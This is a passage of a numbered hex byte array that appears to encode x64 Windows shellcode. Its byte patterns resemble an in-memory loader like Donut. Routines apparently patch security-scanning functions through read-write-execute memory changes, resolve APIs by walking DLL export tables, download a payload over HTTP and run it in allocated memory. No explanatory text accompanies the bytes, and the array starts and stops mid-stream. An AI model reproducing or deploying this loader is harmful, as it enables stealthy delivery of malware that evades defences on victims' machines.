0xcb, 0xff, 0x50, 35 | 0x08, 0x48, 0x89, 0x1f, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 36 | 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 37 | 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x41, 0x58, 0x48, 0x8b, 0xda, 0xff, 0x50, 0x78, 0x89, 38 | 0x03, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x53, 39 | 0x48, 0x83, 0xec, 0x60, 0x83, 0x60, 0x20, 0x00, 0x48, 0x8d, 0x48, 0xb8, 0x83, 0x60, 0x18, 40 | 0x00, 0x48, 0x8b, 0xda, 0x83, 0x60, 0x10, 0x00, 0x33, 0xd2, 0x44, 0x8d, 0x42, 0x40, 0xe8, 41 | 0xba, 0x26, 0x00, 0x00, 0x48, 0x8b, 0x03, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 42 | 0xff, 0x50, 0x18, 0x85, 0xc0, 0x75, 0x1e, 0x48, 0x8b, 0x03, 0x4c, 0x8d, 0x4c, 0x24, 0x78, 43 | 0x4c, 0x8d, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x94, 0x24, 44 | 0x88, 0x00, 0x00, 0x00, 0xff, 0x50, 0x20, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x60, 0x5b, 0xc3, 45 | 0xcc, 0xcc, 0x4d, 0x8b, 0xc8, 0x4d, 0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 46 | 0xc3, 0x4c, 0x8b, 0x41, 0x58, 0x49, 0x8b, 0x80, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02, 47 | 0x75, 0x0d, 0x49, 0x8b, 0x80, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19, 48 | 0x49, 0x8b, 0x80, 0xa4, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x16, 0x49, 0x8b, 0x80, 49 | 0xac, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75, 0x09, 0x49, 0x89, 0x09, 0xf0, 0xff, 50 | 0x41, 0x08, 0xeb, 0x24, 0x49, 0x8b, 0x80, 0xb4, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 51 | 0x1b, 0x49, 0x8b, 0x80, 0xbc, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75, 0x0e, 0x48, 52 | 0x8d, 0x41, 0x10, 0x49, 0x89, 0x01, 0xf0, 0xff, 0x41, 0x18, 0x33, 0xc0, 0xc3, 0x49, 0x83, 53 | 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0x44, 0x24, 0x30, 54 | 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc, 0x0f, 0xaf, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 55 | 0x48, 0x8b, 0x44, 0x24, 0x28, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc, 0x8d, 0x04, 0x11, 56 | 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 57 | 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x81, 0xc1, 0x58, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 58 | 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe9, 0xd7, 59 | 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0xc0, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 60 | 0x38, 0x48, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x48, 0x8d, 61 | 0x3d, 0x99, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x3d, 0x86, 0xff, 0xff, 0xff, 0x41, 0x2b, 0xff, 62 | 0x0f, 0x88, 0xa5, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 63 | 0x40, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf7, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 64 | 0x0f, 0x84, 0x87, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xc7, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xcd, 65 | 0xe8, 0x31, 0x25, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 66 | 0x41, 0x8b, 0xd6, 0x48, 0x8b, 0xcd, 0xff, 0x53, 0x60, 0x48, 0x8d, 0x93, 0xd0, 0x05, 0x00, 67 | 0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x51, 68 | 0x48, 0x8d, 0x3d, 0x42, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x35, 0x2f, 0xff, 0xff, 0xff, 0x41, 69 | 0x2b, 0xfe, 0x78, 0x3e, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 0x40, 0x00, 70 | 0x00, 0x00, 0x8b, 0xef, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44, 71 | 0x8b, 0xc7, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xce, 0xe8, 0xcf, 0x24, 0x00, 0x00, 0x44, 0x8b, 72 | 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xff, 0x53, 73 | 0x60, 0xe9, 0x21, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, 74 | 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 75 | 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 76 | 0x48, 0x81, 0xc1, 0x64, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 0x48, 0x8b, 0xf0, 0x48, 0x85, 77 | 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe9, 0xd7, 0x00, 0x00, 0x00, 0x48, 0x8d, 78 | 0x93, 0x70, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xe8, 0x48, 79 | 0x85, 0xc0, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0xc9, 0x1e, 0x00, 0x00, 80 | 0x4c, 0x8d, 0x3d, 0xf6, 0xfc, 0xff, 0xff, 0x41, 0x2b, 0xff, 0x0f, 0x88, 0xa5, 0x00, 0x00, 81 | 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x44, 82 | 0x8b, 0xf7, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x0f, 0x84, 0x87, 0x00, 0x00, 83 | 0x00, 0x44, 0x8b, 0xc7, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xcd, 0xe8, 0x19, 0x24, 0x00, 0x00, 84 | 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x41, 0x8b, 0xd6, 0x48, 0x8b, 85 | 0xcd, 0xff, 0x53, 0x60, 0x48, 0x8d, 0x93, 0x90, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 86 | 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x51, 0x48, 0x8d, 0x3d, 0x56, 0x1e, 87 | 0x00, 0x00, 0x4c, 0x8d, 0x35, 0x43, 0x1e, 0x00, 0x00, 0x41, 0x2b, 0xfe, 0x78, 0x3e, 0x4c, 88 | 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x8b, 0xef, 0x48, 89 | 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44, 0x8b, 0xc7, 0x49, 0x8b, 0xd6, 90 | 0x48, 0x8b, 0xce, 0xe8, 0xb7, 0x23, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 91 | 0x4c, 0x24, 0x58, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0xe9, 0x21, 0xff, 0xff, 92 | 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 93 | 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 94 | 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 0x24, 0x48, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 95 | 0xb8, 0x02, 0x00, 0x00, 0x83, 0xa5, 0x08, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x45, 96 | 0x33, 0xf6, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x33, 0xd2, 0xbe, 0x00, 0x02, 0x60, 0x84, 0x41, 97 | 0x8d, 0x5e, 0x68, 0x44, 0x8b, 0xc3, 0xe8, 0x6b, 0x23, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xb0, 98 | 0x89, 0x5c, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8d, 0x8f, 0xe8, 0x06, 0x00, 99 | 0x00, 0x48, 0x8d, 0x85, 0xb0, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x89, 0x45, 0x88, 0x4c, 100 | 0x8d, 0x4c, 0x24, 0x40, 0xb8, 0x00, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x10, 101 | 0x89, 0x44, 0x24, 0x60, 0x89, 0x45, 0x90, 0xff, 0x97, 0x00, 0x01, 0x00, 0x00, 0x33, 0xdb, 102 | 0x85, 0xc0, 0x0f, 0x84, 0x16, 0x02, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x54, 0x04, 0xb8, 0x00, 103 | 0x32, 0xe0, 0x84, 0x44, 0x8b, 0xe3, 0x89, 0x5c, 0x24, 0x20, 0x41, 0x0f, 0x94, 0xc4, 0x0f, 104 | 0x44, 0xf0, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x97, 0x08, 105 | 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xe2, 0x01, 0x00, 0x00, 106 | 0x44, 0x0f, 0xb7, 0x44, 0x24, 0x64, 0x48, 0x8d, 0x55, 0xb0, 0x48, 0x89, 0x5c, 0x24, 0x38, 107 | 0x45, 0x33, 0xc9, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0xc8, 0xc7, 0x44, 0x24, 0x28, 0x03, 108 | 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0x10, 0x01, 0x00, 0x00, 0x4c, 109 | 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x51, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 110 | 0x38, 0x48, 0x8d, 0x97, 0xe8, 0x07, 0x00, 0x00, 0x89, 0x74, 0x24, 0x30, 0x4c, 0x8d, 0x85, 111 | 0xb0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0xc8, 112 | 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 113 | 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01, 0x00, 0x00, 0x45, 0x85, 0xe4, 0x74, 0x28, 0x0f, 0xba, 114 | 0xe6, 0x0c, 0x73, 0x22, 0x45, 0x8d, 0x4e, 0x04, 0xc7, 0x85, 0x10, 0x02, 0x00, 0x00, 0x80, 115 | 0x33, 0x00, 0x00, 0x4c, 0x8d, 0x85, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x41, 0x8d, 116 | 0x56, 0x1f, 0xff, 0x97, 0x18, 0x01, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x45, 0x33, 0xc9, 0x45, 117 | 0x33, 0xc0, 0x44, 0x89, 0x64, 0x24, 0x20, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x38, 118 | 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xb8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x8d, 0x00, 119 | 0x02, 0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x4c, 0x8d, 120 | 0x85, 0x08, 0x02, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0xba, 0x13, 0x00, 0x00, 0x20, 121 | 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x40, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 122 | 0x00, 0x00, 0x81, 0xbd, 0x08, 0x02, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x79, 0x48, 123 | 0x8d, 0xb7, 0x18, 0x09, 0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00, 0x08, 0x00, 0x00, 124 | 0x00, 0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x26, 0x4c, 0x8d, 0x8d, 0x00, 0x02, 0x00, 0x00, 0x4c, 125 | 0x89, 0x64, 0x24, 0x20, 0xba, 0x05, 0x00, 0x00, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x40, 126 | 0x01, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x44, 0x48, 0x8b, 0x16, 0x48, 0x85, 0xd2, 0x74, 0x3c, 127 | 0x33, 0xc9, 0x45, 0x8d, 0x4c, 0x24, 0x04, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0xff, 0x57, 128 | 0x48, 0x48, 0x89, 0x87, 0x20, 0x09, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x20, 0x44, 0x8b, 129 | 0x06, 0x4c, 0x8d, 0x8d, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x44, 0x89, 0xa5, 0x18, 130 | 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x20, 0x01, 0x00, 0x00, 0x44, 0x8b, 0xf0, 131 | 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x28, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xcf, 0xff, 0x97, 0x28, 132 | 0x01, 0x00, 0x00, 0x49, 0x8b, 0xcd, 0xff, 0x97, 0x28, 0x01, 0x00, 0x00, 0x45, 0x85, 0xf6, 133 | 0x74, 0x46, 0x83, 0xbf, 0x34, 0x02, 0x00, 0x00, 0x03, 0x75, 0x3d, 0x48, 0x8b, 0x9f, 0x20, 134 | 0x09, 0x00, 0x00, 0x48, 0x8d, 0x97, 0x08, 0x09, 0x00, 0x00, 0x44, 0x8b, 0x8f, 0x18, 0x09, 135 | 0x00, 0x00, 0x48, 0x8d, 0x8f, 0xf8, 0x08, 0x00, 0x00, 0x4c, 0x8b, 0xc3, 0xe8, 0x3f, 0x1d, 136 | 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f, 0xf0, 0x07, 0x00, 0x00, 0xe8, 0xef, 137 | 0x1b, 0x00, 0x00, 0x48, 0x3b, 0x83, 0x18, 0x05, 0x00, 0x00, 0x75, 0x05, 0x41, 0x8b, 0xc6, 138 | 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 139 | 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 140 | 0x24, 0x08, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 141 | 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 0x24, 0xf0, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 0x10, 142 | 0x02, 0x00, 0x00, 0x4c, 0x63, 0x72, 0x3c, 0x4d, 0x8b, 0xe9, 0x48, 0x8b, 0xda, 0x4c, 0x8b, 143 | 0xe1, 0x41, 0x8b, 0x84, 0x16, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x95, 0x00, 144 | 0x00, 0x00, 0x48, 0x8d, 0x3c, 0x02, 0x8b, 0x77, 0x18, 0x85, 0xf6, 0x0f, 0x84, 0x86, 0x00, 145 | 0x00, 0x00, 0x8b, 0x47, 0x1c, 0x33, 0xc9, 0x44, 0x8b, 0x47, 0x0c, 0x48, 0x03, 0xc2, 0x48, 146 | 0x89, 0x44, 0x24, 0x30, 0x4c, 0x03, 0xc2, 0x8b, 0x47, 0x20, 0x48, 0x03, 0xc2, 0x48, 0x89, 147 | 0x85, 0x58, 0x01, 0x00, 0x00, 0x8b, 0x47, 0x24, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x44, 0x24, 148 | 0x28, 0x41, 0x8a, 0x00, 0x84, 0xc0, 0x74, 0x14, 0x33, 0xd2, 0xff, 0xc1, 0x0c, 0x20, 0x88, 149 | 0x44, 0x15, 0x00, 0x8b, 0xd1, 0x42, 0x8a, 0x04, 0x01, 0x84, 0xc0, 0x75, 0xee, 0xc6, 0x44, 150 | 0x0d, 0x00, 0x00, 0x49, 0x8b, 0xd5, 0x48, 0x8d, 0x4d, 0x00, 0xe8, 0x20, 0x1b, 0x00, 0x00, 151 | 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x85, 0x58, 0x01, 0x00, 0x00, 0xff, 0xce, 0x49, 152 | 0x8b, 0xd5, 0x8b, 0x0c, 0xb0, 0x48, 0x03, 0xcb, 0xe8, 0x04, 0x1b, 0x00, 0x00, 0x48, 0x33, 153 | 0x44, 0x24, 0x20, 0x48, 0x3b, 0x85, 0x60, 0x01, 0x00, 0x00, 0x74, 0x21, 0x85, 0xf6, 0x75, 154 | 0xd7, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x10, 155 | 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 156 | 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x0f, 0xb7, 0x04, 0x70, 0x44, 157 | 0x8b, 0x04, 0x81, 0x4c, 0x03, 0xc3, 0x4c, 0x3b, 0xc7, 0x0f, 0x82, 0xaf, 0x00, 0x00, 0x00, 158 | 0x41, 0x8b, 0x84, 0x1e, 0x8c, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc7, 0x4c, 0x3b, 0xc0, 0x0f, 159 | 0x83, 0x9b, 0x00, 0x00, 0x00, 0x33, 0xdb, 0x44, 0x8b, 0xcb, 0x41, 0x38, 0x18, 0x74, 0x21, 160 | 0x41, 0x83, 0xf9, 0x3c, 0x73, 0x1b, 0x41, 0x8b, 0xc9, 0x42, 0x8a, 0x04, 0x01, 0x88, 0x44, 161 | 0x0c, 0x40, 0x42, 0x80, 0x3c, 0x01, 0x2e, 0x74, 0x09, 0x41, 0xff, 0xc1, 0x43, 0x38, 0x1c, 162 | 0x01, 0x75, 0xdf, 0x41, 0x8d, 0x41, 0x01, 0x8b, 0xd0, 0xc6, 0x44, 0x04, 0x40, 0x64, 0x41, 163 | 0x8d, 0x41, 0x02, 0xc6, 0x44, 0x04, 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x03, 0xc6, 0x44, 0x04, 164 | 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x04, 0x4e, 0x8d, 0x0c, 0x02, 0x88, 0x5c, 0x04, 0x40, 0x8b, 165 | 0xd3, 0x41, 0x38, 0x19, 0x74, 0x17, 0x83, 0xfa, 0x7f, 0x73, 0x12, 0x8b, 0xca, 0xff, 0xc2, 166 | 0x42, 0x8a, 0x04, 0x09, 0x88, 0x44, 0x0d, 0x80, 0x42, 0x38, 0x1c, 0x0a, 0x75, 0xe9, 0x8b, 167 | 0xc2, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x88, 0x5c, 0x05, 0x80, 0x41, 0xff, 0x54, 0x24, 0x30, 168 | 0x48, 0x85, 0xc0, 0x74, 0x11, 0x48, 0x8d, 0x55, 0x80, 0x48, 0x8b, 0xc8, 0x41, 0xff, 0x54, 169 | 0x24, 0x38, 0x4c, 0x8b, 0xc0, 0xeb, 0x03, 0x4c, 0x8b, 0xc3, 0x49, 0x8b, 0xc0, 0xe9, 0x10, 170 | 0xff, 0xff, 0xff, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x30, 0x48, 0x8b, 171 | 0xda, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 172 | 0x30, 0x00, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 173 | 0x50, 0x10, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x8b, 0x4b, 0x28, 0x48, 0x85, 0xc9, 0x74, 174 | 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x8b, 0x4b, 175 | 0x20, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 176 | 0x20, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 177 | 0x50, 0x10, 0x48, 0x83, 0x63, 0x18, 0x00, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x85, 0xc9, 0x74, 178 | 0x15, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x58, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0x01, 0xff, 179 | 0x50, 0x10, 0x48, 0x83, 0x63, 0x10, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 180 | 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x08, 0x00, 0x48, 0x8b, 0x0b, 181 | 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x23, 0x00, 182 | 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xf0, 0xff, 0x41, 0x20, 0x8b, 0x41, 0x20, 0xc3, 183 | 0x48, 0x8b, 0x49, 0x10, 0x45, 0x8b, 0xd1, 0x4c, 0x8b, 0x4c, 0x24, 0x30, 0x49, 0x8b, 0xd0, 184 | 0x45, 0x8b, 0xc2, 0x48, 0x8b, 0x01, 0x48, 0xff, 0x60, 0x50, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 185 | 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x48, 0x8b, 0xf9, 0x4d, 186 | 0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x13, 0x48, 0x8b, 0x49, 0x10, 187 | 0x48, 0x8b, 0x01, 0xff, 0x50, 0x08, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x89, 0x03, 0x33, 0xc0, 188 | 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x85, 189 | 0xd2, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0xc7, 0x02, 0x01, 0x00, 0x00, 0x00, 190 | 0x33, 0xc0, 0xc3, 0x48, 0x83, 0xec, 0x48, 0x48, 0x8b, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 191 | 0x4c, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x44, 0x8b, 0xc2, 0x44, 0x0f, 0xb7, 0x4c, 0x24, 192 | 0x70, 0x49, 0x8b, 0xd3, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x84, 0x24, 0x88, 0x00, 193 | 0x00, 0x00, 0x4c, 0x8b, 0x11, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24, 0x80, 194 | 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x78, 0x48, 0x89, 195 | 0x44, 0x24, 0x20, 0x41, 0xff, 0x52, 0x58, 0x48, 0x83, 0xc4, 0x48, 0xc3, 0x48, 0x89, 0x5c, 196 | 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x81, 0xec, 0x40, 0x02, 0x00, 0x00, 197 | 0x48, 0x8b, 0x02, 0x48, 0x8b, 0xf9, 0x48, 0x8d, 0x0d, 0x31, 0x02, 0x00, 0x00, 0x48, 0x8b, 198 | 0xda, 0x48, 0x89, 0x08, 0x48, 0x8d, 0x0d, 0x0c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 199 | 0x89, 0x48, 0x08, 0x48, 0x8d, 0x0d, 0xa6, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x89, 200 | 0x48, 0x10, 0x48, 0x8d, 0x0d, 0x50, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 201 | 0x18, 0x48, 0x8d, 0x0d, 0x06, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x20, 202 | 0x48, 0x8d, 0x0d, 0xdc, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x28, 0x48, 203 | 0x8d, 0x0d, 0x3a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x30, 0x48, 0x8d, 204 | 0x0d, 0xb4, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x38, 0x48, 0x8d, 0x0d, 205 | 0x3a, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x40, 0x48, 0x8d, 0x0d, 0x2c, 206 | 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x48, 0x48, 0x8d, 0x0d, 0x1e, 0xf5, 207 | 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x50, 0x48, 0x8d, 0x0d, 0x10, 0xf5, 0xff, 208 | 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x58, 0x48, 0x8d, 0x0d, 0x02, 0xf5, 0xff, 0xff, 209 | 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8d, 0x0d, 0xec, 0x01, 0x00, 0x00, 0x48, 210 | 0x8b, 0x02, 0x48, 0x89, 0x48, 0x68, 0x48, 0x8d, 0x0d, 0xe6, 0xf4, 0xff, 0xff, 0x48, 0x8b, 211 | 0x02, 0x48, 0x89, 0x48, 0x70, 0x48, 0x8d, 0x0d, 0xd8, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 212 | 0x48, 0x89, 0x48, 0x78, 0x48, 0x8d, 0x0d, 0xca, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 213 | 0x89, 0x88, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xb9, 0xf4, 